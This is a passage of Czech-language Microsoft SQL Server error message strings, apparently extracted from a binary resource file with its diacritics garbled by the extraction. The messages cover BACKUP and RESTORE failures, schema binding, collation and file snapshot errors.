�Vlastnost ROWGUIDCOL mo~e b�t zad�na pouze pro datov� typ uniqueidentifier.

�Ulo~en� procedura sp_setapprole nebyla vol�na spr�vn. Dala� informace naleznete v dokumentaci.

�Definice datov�ho typu definovan�ho u~ivatelem %1!s! se zmnila.

xV syst�mov�ch kataloz�ch nelze nal�zt statistiku %1!s!.

�PY�kaz SELECT INTO nemo~e m�t stejnou zdrojovou a c�lovou tabulku.

tZevnitY funkce nelze pYistupovat k do
asn�m tabulk�m.

�ID kolace je poakozeno, proto~e ID poYad� Yazen� %1!s! je neplatn�.

DID kolace %1!s! je neplatn�.

xZnakov� str�nka %1!s! nen� t�mto serverem podporov�na.

�Pouze spr�vce syst�mu mo~e zadat mo~nost %1!s! pro pY�kaz %2!s!.

�%1!s! %2!s! je syst�mov� objekt auto-drop. Nelze jej pou~�t v dotazech nebo v pY�kazu DDL.

`Zobrazen� %1!s! nen� sv�zan� se sch�matem.

�Nelze vytvoYit tabulku %1!s!. Aby mla tabulka sloupce datov�ho typu XML, mus� m�t clusterovan� prim�rn� kl�
.

 U~ivatelsky definovan� funkce, u~ivatelem definovan� agregace, typy CLR a metody pro typy CLR nejsou povoleny ve v�razech v tomto kontextu.

�Datov� typ substitu
n�ho parametru %1!s! neodpov�d� o
ek�van�mu typu specifikace form�tu.

PNeplatn� specifikace form�tu: %1!s!

�V objektu sv�zan�m se sch�matem nebo ve v�razu omezen� jsou neplatn� synonyma.

�V objektu sv�zan�m se sch�matem nebo ve v�razu omezen� je tYeba zadat dvoud�ln� n�zev pro objekt %1!s! %2!s!.

�V omezen� v�razu nelze pou~�t sloupec typu TEXT, NTEXT nebo IMAGE.

�Nelze vyYeait v�raz pro objekt sv�zan� se sch�matem nebo omezen�m.

�Do objektu sv�zan�ho se sch�matem nebo do v�razu omezen� nelze zadat typ CLR jazyka SQL.

�Zadan� jm�no vlastn�ka %1!s! neexistuje nebo nem�te opr�vnn� jednat jeho jm�nem.

�Text zpr�vy o
ek�v� v�ce ne~ maxim�ln� po
et argumento (%1!s!).

�Nelze prov�st operaci %1!s! %2!s!, proto~e nov� objekt %3!s! %4!s! neodpov�d� objektu FILESTREAM %5!s! %6!s! tabulky.

�Nelze zadat n�zev datab�ze s $partition do objektu sv�zan�ho se sch�matem, po
�tan�ho sloupce nebo v�razu omezen�.

@V�choz� sch�ma neexistuje.

lNelze vytvoYit index nebo statistiku %1!s! pro tabulku %2!s!, proto~e syst�m SQL Server nemo~e ovYit, zda je kl�
ov� sloupec %3!s! pYesn� a deterministick�. Zva~te odebr�n� sloupce z indexu nebo kl�
e statistiky, ozna
en� po
�tan�ho sloupce jako trval�ho nebo pou~it� sloupce neodvozen�ho od CLR v kl�
i.

�Nelze vytvoYit index nebo statistiku %1!s! pro tabulku %2!s!, proto~e po
�tan� sloupec %3!s! je nepYesn� a nen� trval�. Zva~te odebr�n� sloupce z indexu nebo kl�
e statistiky nebo ozna
en� po
�tan�ho sloupce jako trval�ho.

tDefinice objektu %1!s! se od jeho kompilace zmnila.

�}�dost o objekt %1!s! %2!s! se nezdaYila, proto~e %3!s! je objekt %4!s!.

XNelze nal�zt ulo~enou proceduru %1!s!.

�Funkce %1!s! nen� v t�to edici syst�mu SQL Server podporov�na.

�Metadata pro objekt s ID %1!s! byla zmnna. Zkuste pY�kaz opakovat.

`%1!s! nen� na platform %2!s! podporov�no.

�Nelze prov�st pY�kaz BACKUP nebo RESTORE u sn�mku datab�ze.

|Prim�rn� skupinu souboro nelze z�lohovat jako z�lo~n� soubor, proto~e datab�ze pou~�v� jednoduch� model obnoven�. Zva~te vytvoYen� 
�ste
n� z�lohy zad�n�m pY�kazu READ_WRITE_FILEGROUPS.

�Rozd�lov� z�loha nen� povolena, proto~e by byla zalo~ena na v�ce ne~ jedn� z�kladn� z�loze. Rozd�lov� z�lohy s v�ce z�klady nejsou v jednoduch�m modelu obnoven� povoleny a u 
�ste
n�ch rozd�lov�ch z�loh nejsou povoleny nikdy.

Z�loha souboru nebo skupiny souboro %1!s! nen� povolena, proto~e soubor 
i skupina nen� online. Stav kontejneru: %2!s! (%3!s!). Stav obnoven�: %4!s!. PY�kaz BACKUP lze prov�st pou~it�m klauzul� FILEGROUP nebo FILE, kter� omez� v�br pouze na data online.

lZadan� typ zaY�zen� nepodporuje zrcadlen� z�lohy.

\Do datab�ze msdb nelze vlo~it z�lohu nebo v n� obnovit historii/detailn� z�znam. To mo~e nazna
ovat probl�m s datab�z� msdb. Operace z�loha/obnoven� byla pYesto �span�.

�Neplatn� specifikace zrcadlen� z�lohy. Vaechna zrcadlen� mus� m�t stejn� po
et 
leno.

�Vaechna z�lohovac� zaY�zen� mus� b�t na stejn� vaeobecn� �rovni (napY�klad DISK a TAPE).

Kdy~ se syst�m SQL Server pokusil odeslat rozd�lov� informace do zapisova
e SQL, modulu VDI se zaplnila vyrovn�vac� pame.

X%1!s! je ukon
ov�n neobvykl�m zposobem.

�Z�loha souboru %1!s! nen� povolena, proto~e obsahuje str�nky, kde prob�h� posloupnost obnoven� online. PYed z�lohov�n�m dokon
ete posloupnost obnoven� nebo omezte z�lohov�n� a vylu
te tento soubor.

4Soubor kontroln�ch bodo restartov�n� %1!s! nelze otevY�t. Chyba opera
n�ho syst�mu: %2!s!. Opravte probl�m nebo opakujte pY�kaz bez klauzule RESTART.

LSoubor kontroln�ch bodo restartov�n� %1!s! je z pYedchoz� pYeruaen� operace RESTORE a nen� konzistentn� s aktu�ln�m pY�kazem RESTORE. PY�kaz RESTART mus� pou~�vat stejnou syntaxi jako pYeruaen� pY�kaz a pYidat klauzuli RESTART. Tak� je mo~n� opakovat aktu�ln� pY�kaz bez klauzule RESTART.

tU t�to transakce nelze prov�st z�lohu nebo obnoven�.

�Z�lohov�n�, manipulace se souborem (napY�klad ALTER DATABASE ADD FILE) a zmny aifrov�n� v datab�zi mus� b�t serializov�ny. Po dokon
en� aktu�ln� operace z�lohov�n� nebo manipulace se soubory opakujte pY�kaz.

�Mo~ete prov�st pouze �plnou z�lohu hlavn� datab�ze. Pro z�lohu cel� hlavn� datab�ze pou~ijte pY�kaz BACKUP DATABASE.

�Chyb� n�zev datab�ze. Zadejte platn� n�zev datab�ze a opakujte pY�kaz.

pSkupina souboro %1!s! nen� sou
�st� datab�ze %2!s!.

�Mo~nost %1!s! je v konfliktu s mo~nost� nebo mo~nostmi %2!s!. Odeberte mo~nost, kter� je v konfliktu, a opakujte pY�kaz.

�Tento pY�kaz nepodporuje jednu nebo v�ce mo~nost� (%1!s!). Podporovan� mo~nosti naleznete v dokumentaci.

�PY�kaz BACKUP DATABASE nelze pou~�t u datab�ze otevYen� v nouzov�m re~imu.

�Ke zpracov�n� nebyly vybr�ny ~�dn� soubory. Mo~n� jste vybrali jednu nebo v�ce skupin souboro, kter� nemaj� ~�dn� 
leny.

�Pro datab�zi %1!s! nelze prov�st rozd�lovou z�lohu, proto~e aktu�ln� z�loha datab�ze neexistuje. Provete �plnou z�lohu datab�ze opakov�n�m pY�kazu BACKUP DATABASE a vynechejte mo~nost WITH DIFFERENTIAL.

dDatab�ze %1!s! je v z�lo~n�m pohotovostn�m stavu (nastaven�m proveden�m pY�kazu RESTORE WITH STANDBY) a nelze ji z�lohovat, dokud nebude dokon
ena cel� posloupnost obnoven�.

�N�zev souboru %1!s! je neplatn� jako n�zev z�lohovac�ho zaY�zen�. Opakujte pY�kaz BACKUP s platn�m n�zvem souboru.

TPro soubor %1!s! nejde prov�st rozd�lovou z�lohu, proto~e aktu�ln� z�loha souboru neexistuje. Opakujte pY�kaz BACKUP DATABASE a vynechejte mo~nost WITH DIFFERENTIAL.

�PYi z�lohov�n� se nepodaYilo dokon
it pY�kaz %1!s!. Podrobnou zpr�vu naleznete v protokolu aplikace z�lohy.

�PY�kaz BACKUP %1!s! zjistil chybu na str�nce (%2!s!:%3!s!) v souboru %4!s!.

�Neplatn� n�zev zaY�zen� nulov� d�lky. Opakujte pY�kaz BACKUP s platn�m n�zvem zaY�zen�.

�PY�kaz BACKUP nebo RESTORE vy~aduje syst�m souboro NTFS pro podporu FILESTREAM a fulltextu. Cesta %1!s! nen� pou~iteln�.

`Byla nalezena nekonzistentn� metadata. Jedinou mo~nou operac� z�lohov�n� je z�loha protokolu poakozen� datab�ze pomoc� mo~nosti WITH CONTINUE_AFTER_ERROR nebo NO_TRUNCATE.

8Kl�
 registru BackupDirectory nen� nakonfigurov�n spr�vn. Tento kl�
 mus� ur
it koYenovou cestu, kam budou ulo~eny z�lo~n� soubory disku, kdy~ nejsou zad�ny �pln� n�zvy cest. Tato cesta se bude tak� pou~�vat pro nalezen� souboro kontroln�ch bodo restartov�n� pro pY�kaz RESTORE.

�PY�kaz BACKUP zjistil poakozen� v protokolu datab�ze. Dala� informace naleznete v protokolu chyb.

�Syst�m SQL Server nemo~e odes�lat rozd�lov� informace pro soubor datab�ze %1!s! datab�ze %2!s!\\%3!s! do z�lohovac� aplikace, proto~e rozd�lov� informace jsou pY�lia velk�, nevejdou se do pamti a nepodaYilo se pou~�t do
asn� soubor.

�PY�kaz BACKUP LOG neudr~el konzistenci zrcadlen� pro datab�zi %1!s!. Zrcadlen� datab�ze bylo pozastaveno.

�PY�kaz BACKUP LOG nevytvoYil protokol aktualizac� pro datab�zi %1!s!. Bude tYeba vytvoYit dala� z�lohy protokolu, aby bylo mo~n� posunout bod z�lohy vpYed z %2!s! na %3!s!, jakmile bude dostupn� m�sto protokolu pro jejich protokolov�n�.

�Funkce BACKUP %1!s! zjistila chybu na str�nce v souboru %2!s!.

�Z�lohy rozd�lov�ch souboro mohou obsahovat data jen pro 
ten� pro datab�ze, kter� pou~�vaj� jednoduch� model obnoven�. Zva~te vytvoYen� 
�ste
n� z�lohy zad�n�m pY�kazu READ_WRITE_FILEGROUPS.

�C�lov� um�stn� z�lohy %1!s! podporuje skupinu souboro FILESTREAM. Tuto skupinu souboro nelze pou~�t jako c�lov� um�stn� z�lohy. Spusete pY�kaz BACKUP znovu s platn�m c�lov�m um�stn�m z�lohy.

Operace z�lohov�n� zjistila neo
ek�van� soubor v kontejneru FILESTREAM. Operace z�lohov�n� bude pokra
ovat a zahrne soubor %1!s!.

`Neplatn� n�zev zaY�zen�. Zadan� d�lka n�zvu zaY�zen� pYesahuje maxim�ln� podporovanou hodnotu (maxim�ln� d�lka je:%1!s!). Opakujte pY�kaz BACKUP s platn�m n�zvem zaY�zen�.

�Tyto pY�kazy BACKUP 
i RESTORE nejsou pro zrcadlen� datab�ze 
i sekund�rn� repliku povoleny.

XSoubor kontroln�ch bodo restartov�n� %1!s! nelze otevY�t. Chyba opera
n�ho syst�mu: %2!s!. ZpY�stupnte soubor a opakujte akci nebo znovu spusete posloupnost RESTORE.

Ze sekund�rn� repliky protokolu HADRON nelze z�lohovat, proto~e se nenach�z� ve stavu Prob�h� synchronizace nebo Synchronizov�no.

�Z�pis do zaY�zen� z�lo~n�ho objektu blob bloku %1!s! se nepovedl. ZaY�zen� dos�hlo sv�ho limitu povolen�ch bloko.

PYi z�pisu do z�lo~n�ho objektu blob bloku se zjistil z�pis mimo poYad� s posunem %1!s!. Posun posledn�ho bloku byl v %2!s!.

�Pokus o potvrzen� seznamu bloko pro objekt blob bloku selhal. N�zev objektu blob je %1!s!. K�d chyby �lo~iat: %2!s!

LNepovedlo se naj�t datab�zov� soubor, na kter� odkazuje sn�mek souboru %1!s!. Zajistte pros�m, aby adresa URL odkazovala na platn� sn�mek datab�zov�ho souboru.

�Pokus o odstrann� sn�mku souboru %1!s! selhal. K�d chyby: %2!s!

�Neplatn� adresa URL sn�mku souboru. Zkontrolujte pros�m, jestli je adresa URL vytvoYen� spr�vn.

�Prokl�d�n� z�lohovac�ho skladu napY�
 nkolika zaY�zen�mi nen� pro z�lohy sn�mko souboro povolen�.

�Zad�n� mo~nost� WITH FORMAT a WITH FILE_SNAPSHOT nen� povolen�.

�Datab�ze %1!s! je nakonfigurovan� pro obnoven� sn�mku do konkr�tn�ho bodu v 
ase. Z�lohy protokolo nejsou povolen�.

�`ifrov�n� z�loh nen� kompatibiln� se z�lohami sn�mko, pokud pro datab�zi nen� povolen� aifrov�n� TDE.

�Mo~nost WITH FILE_SNAPSHOT je povolen� jenom v pY�pad, ~e vaechny datab�zov� soubory jsou v �lo~iati Azure.

�Pokus o z�sk�n� atributo pro sn�mek souboru %1!s! selhal. K�d chyby: %2!s!

�N�zev zaY�zen� %1!s! nen� v pY�pad obnovov�n� ze z�lohy sn�mku souboru platn� c�l MOVE.

�Z�loha sn�mku souboru je povolen� jenom v pY�pad jednoho z�lo~n�ho zaY�zen� a bez dala�ch zrcadlen�ch zaY�zen�.

@N�zev souboru %1!s! je neplatn� jako n�zev z�lohovac�ho zaY�zen� pro zadan� typ zaY�zen�. Opakujte pY�kaz BACKUP s platn�m n�zvem souboru a typem zaY�zen�.

�Nepovedlo se naj�t soubor objektu blob %1!s!. Zkontrolujte, ~e n�zev souboru odkazuje na platn� soubor objektu blob.

 Neplatn� cesta k z�loze. D�lka v�choz� cesty k z�loze pYesahuje podporovan� limit (maxim�ln� d�lka: %1!s!). Opravte v�choz� cestu k z�loze.

Z�lohov�n� nelze prov�st, proto~e po~adavek ENCRYPTION byl vznesen po zform�tov�n� m�di� pomoc� nekompatibiln� struktury. Pokud chcete prov�st pYipojen� k t�to sad m�di�, vynechejte po~adavek ENCRYPTION, nebo vytvoYte novou sadu m�di� pomoc� klauzule WITH FORMAT v pY�kazu BACKUP. Pokud pou~ijete klauzuli WITH FORMAT u existuj�c� sady m�di�, vaechny jej� z�lo~n� sady budou pYeps�ny.

�Vypraela platnost certifik�tu zadan�ho pro aifrov�n� z�lohov�n�.

�Z�lohov�n� nelze prov�st, proto~e je existuj�c� sada m�di� form�tov�na pomoc� nekompatibiln� verze.

�Z�loha nemohla b�t provedena, proto~e %1!s! byl po~adov�n po zform�tov�n� m�di� nekompatibiln� strukturou. Tuto sadu m�di� pYipoj�te vynech�n�m mo~nosti %2!s! nebo zad�n�m mo~nosti %3!s!. Tak� mo~ete vytvoYit novou sadu m�di� pomoc� klauzule WITH FORMAT v pY�kazu BACKUP. Pou~ijete-li klauzuli WITH FORMAT na existuj�c� sadu m�di�, pYep�a� se vaechny jej� z�lohovac� sklady.

�Mo~nosti aifrov�n� z�lohy byly zad�ny. Podpora aifrov�n� z�lohy nebyla v t�to verzi povolena.

�Nelze z�skat v�hradn� pY�stup, proto~e se datab�ze pou~�v�.

(Operace %1!s! nemo~e zpracovat datab�zi %2!s!, proto~e ji pou~�v� tato relace. Doporu
ujeme, aby byla pYi t�to operaci pou~ita hlavn� datab�ze.

�Posloupnost 
�ste
n�ho obnoven� nelze spustit t�mto pY�kazem. Posloupnost 
�ste
n�ho obnoven� spust�te pomoc� klauzule WITH PARTIAL v pY�kazu RESTORE a poskytnut�m z�lohovac�ho skladu, kter� obsahuje �plnou kopii alespoH prim�rn�ho datov�ho souboru. Klauzuli WITH PARTIAL v pY�kazu RESTORE nelze pou~�t pro jak�koli jin� �
ely.

PY�kaz RESTORE nelze pou~�vat pro datab�zi %1!s!, proto~e je nakonfigurov�na na zrcadlen� datab�ze nebo byla pYipojena ke skupin dostupnosti. Chcete-li obnovit datab�zi, pY�kazem ALTER DATABASE odeberte zrcadlen� nebo odeberte datab�zi ze skupiny dostupnosti.

�PY�kaz RESTORE nemo~e obnovit dala� str�nky do souboru %1!s!, proto~e maxim�ln� po
et str�nek (%2!s!) byl ji~ obnoven. Dokon
ete posloupnost obnoven� pro existuj�c� str�nky nebo pou~ijte pY�kaz RESTORE FILE a obnovte vaechny str�nky v souboru.

0Skupina souboro %1!s! je nejednozna
n�. Identita v z�lohovac�m skladu neodpov�d� skupin souboro, kter� je aktu�ln definov�na v online datab�zi. Pou~it� skupiny souboro v z�lohovac�m skladu vynut�te pYepnut�m datab�ze do re~imu offline a optovn�m spuatn�m pY�kazu RESTORE.

�Soubor %1!s! je nejednozna
n�. Identita v z�lohovac�m skladu neodpov�d� souboru, kter� je aktu�ln definov�n v online datab�zi. Pou~it� souboru v z�lohovac�m skladu vynut�te pYepnut�m datab�ze do re~imu offline a optovn�m spuatn�m pY�kazu RESTORE.

�Chcete-li obnovit hlavn� datab�zi, mus� b�t server spuatn v jednou~ivatelsk�m re~imu. Informace o spuatn� jednou~ivatelsk�ho re~imu naleznete v postupu ke spuatn� instance slu~by SQL Server (sqlservr.exe) na webu Knihy online.

0Hlavn� datab�zi lze pln obnovit v jednom kroku pomoc� �pln� z�lohy datab�ze. Mo~nosti (napY. NORECOVERY, STANDBY nebo STOPAT) nejsou podporov�ny.

lU~ivatel nem� opr�vnn� RESTORE k datab�zi %1!s!.

Str�nka %1!s! je Y�dic� str�nka, kterou nelze obnovit oddlen. Chcete-li opravit tuto str�nku, mus� b�t obnoven cel� soubor.

�Je-li server v jednou~ivatelsk�m re~imu, lze obnovit pouze hlavn� datab�zi.

DByla zjiatna neplatn� data.

�Datab�ze pou~�v� jednoduch� model obnoven�. Nelze obnovit podmno~inu dat pro 
ten� a z�pis.

�Dodan� z�loha nem� stejnou cestu obnoven� jako datab�ze a nelze ji pou~�t k online obnoven� souboro.

�Nelze obnovit protokol nebo rozd�lovou z�lohu, proto~e nejsou pYipraveny ~�dn� soubory pro dopYedn� obnoven�.

(Datab�ze %1!s! neexistuje. Pomoc� pY�kazu RESTORE lze vytvoYit datab�zi pouze pYi obnoven� pln� z�lohy nebo z�lohy souboru prim�rn�ho souboru.

�PYi pl�nov�n� pY�kazu RESTORE byly zjiatny probl�my. Podrobnosti naleznete v pYedchoz�ch zpr�v�ch.

Tento z�lohovac� sklad nebude obnoven, proto~e vaechna data ji~ byla obnovena a~ do 
asov�ho bodu pokryt�ho t�mto z�lohovac�m skladem.

$Soubor %1!s! m� cestu obnoven�, kter� nen� konzistentn� s aplikac� tohoto z�lohovac�ho skladu. Nelze pokra
ovat v prov�dn� pY�kazu RESTORE.

�Inicializace souboru se nezdaYila. Nelze pokra
ovat v prov�dn� pY�kazu RESTORE.

�N�zev datab�ze %1!s! zadan� pro operaci z�lohov�n� nebo obnoven� je neplatn�.

�Datab�ze pou~�v� jednoduch� model obnoven�. Data v z�loze nejsou konzistentn� s aktu�ln�m stavem datab�ze. PYed obnoven�m datab�ze je tYeba obnovit v�ce dat. Obnovte �plnou z�lohu souboro vytvoYenou od doby, kdy byla data ozna
ena jako jen pro 
ten�, nebo obnovte nejnovja� z�kladn� z�lohu pro c�lov� data a pak rozd�lovou z�lohu souboro.

�Soubor %1!s! obnoven� datab�ze %2!s! je ponech�n v nefunk
n�m stavu, proto~e datab�ze pou~�v� jednoduch� model obnoven� a soubor je ozna
en pro 
ten� a z�pis. Pomoc� postupn�ho obnoven� lze obnovit pouze soubory ur
en� jen pro 
ten�.

|Soubor %1!s! m� nepodporovanou velikost str�nky (%2!s!).

Obsah souboru %1!s! nen� konzistentn� s pYechodem do posloupnosti obnoven�. Mo~e b�t vy~adov�no obnoven� ze z�lohovac�ho skladu.

�Sada m�di� m� %1!s! rodin m�di�, poskytnuto ale bylo jen %2!s!. Je tYeba poskytnout vaechny 
leny.

�Svazek v zaY�zen� %1!s! m� poYadov� 
�slo %2!s! z rodiny m�di� %3!s!. O
ek�v�no je ale poYadov� 
�slo %4!s! z rodiny m�di� %5!s!. Zkontrolujte, zda jsou specifikace zaY�zen� a vlo~en� m�dia spr�vn�.

�Z�lohovac� sklad v souboru %1!s! byl vytvoYen u~ivatelem %2!s! a nelze jej pou~�t pro tuto operaci obnoven�.

�Rozd�lovou z�lohu nelze obnovit, proto~e datab�ze nebyla obnovena do spr�vn�ho dY�vja�ho stavu.

DDatab�zi nelze vr�tit zpt. Prim�rn� n�zvy 
i n�zvy sn�mko jsou zad�ny nespr�vn, vaechny dala� sn�mky nebyly vyYazeny nebo je probl�m s chybj�c�mi soubory.

�Datab�zi nelze vr�tit, proto~e obsahuje objekty FILESTREAM BLOB.

tPro hlavn� datab�zi nen� povoleno obnoven� do sn�mku.

hU souboru %1!s! nelze upravit pYidlen� m�sta.

Datab�ze, kter� bude obnovena, m� n�zev %1!s!. Pokud chcete pYepsat %2!s! datab�zi, opakujte pY�kaz s mo~nost� WITH REPLACE.

�Soubor %1!s! nejde obnovit pYes existuj�c� soubor %2!s!. Pokud chcete pYepsat existuj�c� soubory, opakujte pY�kaz RESTORE s mo~nost� WITH REPLACE. Pokud chcete zadat jin� um�stn�, pou~ijte mo~nost WITH MOVE.

�Datov� sada v zaY�zen� %1!s! nen� z�lohovac� sklad syst�mu SQL Server.

�Soubor %1!s! nem� z�lohu v souboru %2!s! v zaY�zen� %3!s!. Soubor nelze obnovit z tohoto z�lohovac�ho skladu.

�Mo~nost STOPAT nen� podporov�na u datab�z�, kter� pou~�vaj� model obnoven� SIMPLE.

�Operace z�lohov�n� a obnoven� nejsou povoleny u datab�ze tempdb.

�V aktu�ln� kontextu je pY�kaz RESTORE neplatn�. Mo~nost Recover Data Only je definov�na pouze pro sekund�rn� skupiny souboro, kdy~ je datab�ze ve stavu online. Kdy~ je datab�ze ve stavu offline, skupiny souboro nelze zadat.

|Soubor nebo skupina souboro "%1!s!" nen� v platn�m stavu, aby mohla b�t pou~ita mo~nost Recover Data Only. Lze zpracovat pouze sekund�rn� soubory ve stavu OFFLINE nebo RECOVERY_PENDING.

�Obnoven� hlavn� datab�ze se nezdaYilo. Prob�h� vyp�n�n� serveru SQL Server. Zkontrolujte protokoly chyb a optovn sestavte hlavn� datab�zi. Dala� informace o optovn�m sestaven� hlavn� datab�ze naleznete na webu Knihy online pro SQL Server.

HDatab�ze je ji~ pln obnovena.

�Z�lohovac� sklad obsahuje z�lohu jin� datab�ze ne~ existuj�c� datab�ze %1!s!.

 Operace RESTORE nemo~e pokra
ovat, proto~e jeden nebo v�ce souboro byly od vytvoYen� z�lohovac�ho skladu pYid�ny nebo vyYazeny z datab�ze.

�Soubor %1!s! nelze obnovit do um�stn� %2!s!. Zadejte platn� um�stn� souboru pomoc� mo~nosti WITH MOVE.

<Konec protokolu datab�ze %1!s! nebyl z�lohov�n. Obsahuje-li protokol pr�ci, kterou nechcete ztratit, provete z�lohu protokolu s pou~it�m mo~nosti BACKUP LOG WITH NORECOVERY. Chcete-li jen pYepsat obsah protokolu, pou~ijte u pY�kazu RESTORE klauzuli WITH REPLACE nebo WITH STOPAT.

�Prim�rn� soubor nen� k dispozici. Je tYeba jej obnovit nebo jinak zpY�stupnit.

�Transak
n� protokol byl poakozen. PYed pokusem o spuatn� pY�kazu RESTORE LOG mus� b�t obnoveny vaechny datov� soubory.

�Datab�ze %1!s! byla obnovena, doalo ale k chyb pYi obnoven� nebo odebr�n� replikace. Datab�ze byla ponech�na v re~imu offline. Dala� informace naleznete v t�matu MSSQL_ENG003165 na webu Knihy online pro SQL Server.

�PY�kaz RESTORE DATABASE nemo~e vyYadit datab�zi %1!s!. VyYate datab�zi a pak opakujte pY�kaz RESTORE DATABASE.

dPY�kaz RESTORE nemo~e spustit datab�zi %1!s!.

 Z�lohu syst�mov� datab�ze v zaY�zen� %1!s! nelze obnovit, proto~e byla vytvoYena jinou verz� serveru (%2!s!), ne~ je tento server (%3!s!).

�Z�loha datab�ze byla provedena na serveru s verz� %1!s!. Tato verze je nekompatibiln� s t�mto serverem, kter� pou~�v� verzi %2!s!. Obnovte datab�zi na serveru, kter� z�lohu podporuje, nebo pou~ijte z�lohu, kter� je kompatibiln� s t�mto serverem.

PN�zev souboru STANDBY je neplatn�.

�Soubor %1!s! je nefunk
n� a nelze jej obnovit do online datab�ze.

�Skupina souboro %1!s! je nefunk
n� a nelze ji obnovit do online datab�ze.

�Klauzule STOPAT zadan� v pY�kazu RESTORE znamen�, ~e konec protokolu obsahuje zmny, kter� je tYeba z�lohovat a dos�hnout a dos�hnout c�lov�ho bodu v
as. Konec protokolu datab�ze %1!s! nen� z�lohov�n. Zaz�lohujte protokol pY�kazem BACKUP LOG WITH NORECOVERY nebo pou~ijte klauzuli WITH REPLACE v pY�kazu RESTORE a pYepiate konec protokolu.

pSoubor %1!s! nelze pYesunout touto operac� RESTORE.

Soubor %1!s! je n�rokov�n objekty %2!s!(%3!s!) a %4!s!(%5!s!). Klauzuli WITH MOVE lze pou~�t k pYesunut� jednoho nebo v�ce souboro.

�Soubor %1!s! nen� ve spr�vn�m stavu, aby bylo mo~n� pou~�t tuto rozd�lovou z�lohu.

tSyst�movou datab�zi nelze pYesunout pY�kazem RESTORE.

0Tuto z�lohu nen� mo~n� obnovit pomoc� mo~nosti WITH STANDBY, proto~e je nutn� upgrade datab�ze. Opakujte pY�kaz RESTORE bez mo~nosti WITH STANDBY.

8Z�lohovac� sklad nelze obnovit, proto~e datab�ze byla v dob z�lohov�n� poakozen�. PYi pokusu o z�chranu lze vyu~�t mo~nost WITH CONTINUE_AFTER_ERROR.

�PY�kaz RESTORE zjistil bhem 
ten� z�lohovac�ho skladu chybu na str�nce (%1!s!:%2!s!) v datab�zi %3!s!.

PY�kaz RESTORE nemo~e pou~�t tento z�lohovac� sklad, proto~e datab�ze je podezYel�. Obnovte z�lohovac� sklad, kter� oprav� poakozen�.

�Z�lohovac� sklad byl poakozen. PY�kaz RESTORE se nebude pokouaet pou~�t tento z�lohovac� sklad.

�Nelze zadat pY�kaz RESTORE WITH CHECKSUM, proto~e z�lohovac� sklad neobsahuje �daj o kontroln�m sou
tu.

dBylo zjiatno poakozen� z�lohovac�ho skladu.

�Skupinu souboro %1!s! nelze obnovit, proto~e neexistuje v z�lohovac�m skladu.

Obnoven� nemo~e pokra
ovat, proto~e soubor %1!s! nelze zapsat. Zkontrolujte, zda jsou vaechny soubory v datab�zi zapisovateln�.

�Operace obnoven� protokolu nejsou povolen� pro z�lohov�n� protokolu s mo~nost� FILE_SNAPSHOT, pokud v obdob� z�lohy existovaly hromadn� operace. Obnoven� je mo~n� prov�st zad�n�m pY�kazu Obnovit datab�zi z archivu.

�Str�nka %1!s! se nach�z� za koncem souboru. Lze obnovit pouze str�nky, kter� jsou v aktu�ln�m rozsahu souboru.

�Str�nku %1!s! nelze obnovit z tohoto z�lohovac�ho skladu. PY�kaz RESTORE PAGE lze pou~�t pouze z �pln�ch z�lohovac�ch sklado nebo z prvn� z�lohy protokolu nebo rozd�lov� z�lohy proveden� od data pYid�n� souboru do datab�ze.

�PY�kaz RESTORE pro hlavn� datab�zi s mo~nost� WITH SNAPSHOT nen� podporov�n. Chcete-li obnovit hlavn� datab�zi ze z�lohy sn�mku, zastavte slu~bu a zkop�rujte datov� soubor a soubor protokolu.

�PY�kaz RESTORE vy~aduje mo~nost MAXTRANSFERSIZE=%1!s!, byla ale zad�na mo~nost %2!s!.

�Nelze otevY�t z�lohovac� zaY�zen� %1!s!. Chyba opera
n�ho syst�mu %2!s!.

LZ�pis na %1!s! se nezdaYil: %2!s!

Hten� %1!s! se nezdaYilo: %2!s!

\Z�lohov�n� nebo obnoven� bylo pYeruaeno.

�Pro z�lohov�n� nebo obnoven� je zad�no pY�lia mnoho z�lohovac�ch zaY�zen�. Je povoleno pouze %1!s! zaY�zen�.

(Z�lohovac� zaY�zen� %1!s! neexistuje. Chcete-li zobrazit existuj�c� z�lohovac� zaY�zen�, pou~ijte katalogov� zobrazen� sys.backup_devices. Chcete-li vytvoYit nov� z�lohovac� zaY�zen�, pou~ijte ulo~enou proceduru sp_addumpdevice nebo n�stroj SQL Server Management Studio.

�Z�lohov�n� nebo obnoven� vy~aduje alespoH jedno z�lohovac� zaY�zen�. Opakujte pY�kaz a zadejte z�lohovac� zaY�zen�.

�PYi 
ten� z�lohovac�ho skladu doalo ke zjiatn� neo
ek�van�ho konce souboru. OvYte, zda m�dium obsahuje platn� z�lohovac� sklad syst�mu SQL Server. Dala� informace naleznete v protokolu chyb konzoly.

pOperace nen� podporov�na pro u~ivatelsk� instance.

�len zrcadlen� v jednotce %1!s! nen� konzistentn� se 
lenem zrcadlen� v jednotce %2!s!.

�Zrcadl�c� zaY�zen� %1!s! a zrcadl�c� zaY�zen� %2!s! maj� jin� specifikace zaY�zen�.

�Nelze uvolnit jednu nebo v�ce p�sek. Podrobnja� informace naleznete v protokolu chyb.

�Je zad�no pY�lia mnoho zrcadlen� z�loh. Je povoleno pouze %1!s!.

�Chcete-li vytvoYit nov� zrcadlen� z�lohovac� sklad, pou~ijte klauzuli WITH FORMAT.

�PY�kaz RESTORE REWINDONLY lze pou~�t pouze u p�skov�ch zaY�zen�.

lByla zad�na neplatn� hodnota pro parametr %1!s!.

|Zrcadlen� z�loh nen� v t�to edici syst�mu SQL Server k dispozici. Podrobn� informace o podporovan�ch funkc�ch v rozn�ch edic�ch syst�mu SQL Server naleznete v dokumentaci Knihy online.

�Pro tuto operaci nelze vybrat soubor nebo skupinu souboro %1!s!.

�Zadan� adresa URL odkazuje na bin�rn� rozs�hl� objekt bloku. Operace z�lohov�n� a obnoven� nejsou u bin�rn�ch rozs�hl�ch objekto bloku povolen�, pokud se pou~�v� syntaxe WITH CREDENTIAL.

�Syst�mov� funkce ReadFileEx spuatn� pro soubor %1!s! pYe
etla pouze %2!s! bajto, bylo o
ek�v�no %3!s!.

�Syst�mov� funkce WriteFileEx spuatn� pro soubor %1!s! zapsala pouze %2!s! bajto, bylo o
ek�v�no %3!s!.

�PYi z�lohov�n� na adresu URL se nepodaYilo zapsat stavov� zpr�vy do protokolu chyb opera
n�ho syst�mu.

HNelze vytvoYit pracovn� vl�kno.

�Pou~it� syntaxe WITH CREDENTIAL nen� platn� pro pYihlaaovac� �daje obsahuj�c� podpis sd�len�ho pY�stupu.

hNepovedlo se vytvoYit sn�mek pro soubor %1!s!.

�Z�lohovac� m�dium v zaY�zen� %1!s! je sou
